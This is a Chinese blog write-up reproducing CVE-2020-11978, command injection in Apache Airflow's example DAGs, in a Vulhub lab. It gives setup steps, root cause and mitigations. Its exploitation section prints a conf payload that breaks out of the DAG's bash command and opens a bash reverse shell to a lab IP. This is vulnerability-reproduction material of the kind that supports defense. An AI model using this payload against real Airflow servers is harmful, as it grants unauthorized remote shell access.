CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

这篇具有很好参考价值的文章主要介绍了CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

简介

  • 漏洞软件:Apache Airflow
  • 影响版本:<= 1.10.10

环境

  • Vulhub 漏洞测试靶场

复现步骤

  • 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录
  • 运行以下命令启动环境
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
  • 在客户端访问 server-ip:8080
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 在这一列的右侧点击如下按钮
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 输入以下字符后点击 Trigger 按钮
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下,使用以下命令在容器中进行查询和验证
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析

原因

  • 默认情况下 Airflow Web UI 是未授权访问的,直接可以登录,而登录后,只能查看 DAG 的调度状态等,无法进行更多操作
  • 但 Airflow Web UI 中提供了触发 DAG 运行的功能,以便测试 DAG,同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能,为了更好的示例这些 DAG 覆盖了大多的执行器
  • 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生,如下所示,通过一个DAG(example_trigger_controller_dag)来动态的调用另外一个 DAG(example_trigger_target_dag)
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator,它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
  • 即通过 example_trigger_controller_dag 内部定义的 conf={“message”: “Hello World”} 来触发 example_trigger_target_dag 中 bash_command=‘echo "Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘"’ 的运行
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 根据上面信息可以看出,输入 dag_run.conf[“message”] 由第一个 DGA 传递过来的,看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象,而其中 conf 正是用于传递参数的方式, Airflow 提供了多渠道可以修改 conf,包括命令行例如:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

利用

  • kali 打开 nc
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析
  • 输入以下消息并触发 DAG
#socket 连接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
  • 连接成功
    CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用,apache,CVE,web,命令注入,漏洞,Apache Airflow,漏洞分析

缓解

  • 升级到 1.10.10 版本之后
  • 删除或者禁用 DAG,可自行删除或在配置文件中禁用默认 DAGload_examples=False

参考

  • Vulhub 漏洞环境详情:https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3
  • Airflow dag 中的命令注入(csdn):https://xz.aliyun.com/t/8037

文章来源地址https://www.toymoban.com/news/detail-728177.html

到了这里,关于CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Django SQL注入漏洞分析(CVE-2022-28346)

    Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。 2.2= Django Django 2.2.28 3.2= Django Django 3.2.13 4.0= Django Django 4.0.4 需要使用了 annotate 或者 aggregate 或 extra 方法 利用 pycharm 创建一个 python 项目 ​ 创建完成项目后在 Setti

    2024年02月03日
    浏览(46)
  • 【高危】Apache Airflow Spark Provider 任意文件读取漏洞 (CVE-2023-40272)

    Apache Airflow Spark Provider是Apache Airflow项目的一个插件,用于在Airflow中管理和调度Apache Spark作业。 受影响版本中,在JDBC连接时,由于没有对conn_prefix参数做验证,允许输入\\\"?\\\"来指定参数。攻击者可以通过构造参数?allowLoadLocalInfile=true连接攻击者控制的恶意mysql服务器,读取Airfl

    2024年02月11日
    浏览(41)
  • CVE-2022-42889 Apache Commons Text RCE漏洞分析

    最近一直在对刚研发出来的自动化Web/API漏洞Fuzz的命令行扫描工具进行维护更新(工具地址:https://github.com/StarCrossPortal/scalpel),目前扫描工具已更新至第三个版本,新增了5条2022年CVE漏洞POC,修复了例如Content- Type和body类型不一致等问题。最新版本测试稳定,满足Web/API的漏洞

    2024年02月13日
    浏览(53)
  • 【高危】Apache Airflow Spark Provider 反序列化漏洞 (CVE-2023-40195)

    zhi.oscs1024.com​​​​​ 漏洞类型 反序列化 发现时间 2023-08-29 漏洞等级 高危 MPS编号 MPS-qkdx-17bc CVE编号 CVE-2023-40195 漏洞影响广度 广 OSCS 描述 Apache Airflow Spark Provider是Apache Airflow项目的一个插件,用于在Airflow中管理和调度Apache Spark作业。 受影响版本中,由于没有对conn_prefix参

    2024年02月10日
    浏览(37)
  • 漏洞深度分析|CVE-2022-1471 SnakeYaml 命令执行漏洞

    YAML是一种数据序列化格式,设计用于人类的可读性和与脚本语言的交互。 SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。 https://github.com/snakeyaml/snakeyaml SnakeYaml通常使用方法如下: new Yaml(new Constructor(TestDataC

    2023年04月27日
    浏览(39)
  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(46)
  • Apache Tomcat 安全漏洞(CVE-2020-13935)复现

    漏洞详情: Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat中的WebSocket存在安全漏洞,该漏洞源于程序没有正确验证payload的长度。攻击者可利用该漏洞造成拒绝服务(无限循环)。 影响版

    2024年02月11日
    浏览(46)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(41)
  • CVE-2021-40444分析报告微软MHTML远程命令执行漏洞

    2021 年 8 月 21 日,MSTIC 观察到一名 Mandiant 员工在社交媒体上发布的帖子,该员工具有跟踪 Cobalt Strike Beacon 基础设施的经验。所写文章重点介绍了一个于 2021 年 8 月 19 日上传到 VirusTotal的 Microsoft Word 文档(SHA-256:3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf)。 MSTIC 对样

    2024年02月08日
    浏览(35)
  • CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

    Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。 Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使

    2024年02月12日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包